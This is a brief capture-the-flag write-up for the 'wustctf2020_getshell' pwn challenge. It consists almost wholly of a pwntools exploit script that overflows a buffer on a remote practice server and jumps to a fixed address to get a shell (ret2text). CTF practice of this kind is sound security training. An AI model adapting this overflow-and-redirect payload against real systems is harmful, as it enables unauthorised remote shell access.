pwn | wustctf2020_getshell

x86 ret2text

exp:

from pwn import *
from LibcSearcher import *

context.log_level = 'debug'

p = remote('node4.buuoj.cn', 28063)

p.sendline(b'M'*(0x18+4) + p32(0x0804851B))

p.interactive()